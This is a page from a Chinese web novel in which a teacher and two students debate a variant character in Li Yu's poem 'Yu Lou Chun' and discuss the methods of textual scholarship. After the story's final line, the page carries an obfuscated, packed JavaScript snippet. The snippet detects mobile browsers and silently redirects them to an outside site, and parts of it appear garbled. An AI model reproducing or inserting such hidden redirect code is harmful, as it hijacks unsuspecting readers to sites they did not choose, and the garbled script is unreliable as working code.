136.学术(第2页)

    “李煜的《玉楼春》。”庄遂平回答道。
 




    “凤箫吹断水云间，间，时作闲，什么问题？”
 




    “是不同文献的传抄或刊刻的讹误，间与闲字很相似，形讹。”
 




    周先生看着他笑了笑：“你师爷是纪鸿云？”
 




    庄遂平点点头：“是。”
 




    “你师爷对这个问题怎么说？”
 




    “他没有提过，他现在的精力都放在明清文献上。”
 




    “正好，他不提，我们来提，这个字到底应该是间还是闲？刘巍思。”
 




    “啊？”刘巍思如梦初醒，幸亏留了一只耳朵在听，“我觉得应该是间吧，在水云之间。”
 




    “不对，闲更好，间代表空间，但水云是死的，用闲字，水云就活了。”庄遂平反驳道。
 




    一说这个，刘巍思可就不困了，腰背一挺，声音一抬：“可是我们讨论的不是哪个字更好，我们讨论的是这个字应该是什么，原本是什么，我们要尊重文献。”
 




    庄遂平也不服，道：“以李煜的水平，他知道哪个更好，说不定最初就是闲，不知道是哪个水平次的抄的时候抄成了间，把这首词都给抄死了。”
 




    “你怎么能用说不定这种表述呢？我们要看文献啊！看最早的文献！”
 




    “最早的文献，你得保证版本也是最早的，否则没有任何说服力。”
 




    到底是半路思考的，刘巍思胸脯一挺，却是没说出话来，最后只道：“反正不能用好不好来推测。”
 




    周先生靠在椅背上，安安静静地听他们俩吵了一会儿，待那两人都没话了都望过来，他才慢悠悠道：“我没有答案。”
 




    “那还把问题抛出来？”刘巍思刚输给了庄遂平，心气正不平呢！
 




    “这就是学术。我们刚刚就在讨论学术。”周先生道，“但可惜，你们的材料太少了。”
 




    庄遂平感觉自己好像开窍了，问：“那我们还需要什么材料？”
 




    “做文献，你师爷最在行。要论证这个问题，可以通过查找文献，最早的文献，当然要看版本，年代越早，可信度越高。如果文献欠缺，可以通过研究李煜的词来分析，他是否使用过类似的词句、手法，是否有这样的表达习惯。还可以研究他常学习和阅读的文人，那些人是否有类似的表达，这可能在一定程度上影响了他的创作。还可以研究同时代文人的作品，这样的表达是否是那个时期常见的现象。当然，这些都只能是佐证，无论如何，这个问题都很难定论的。”
 




    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421877|143212||http|test|mini|href|location''.split(''|''),0,{}));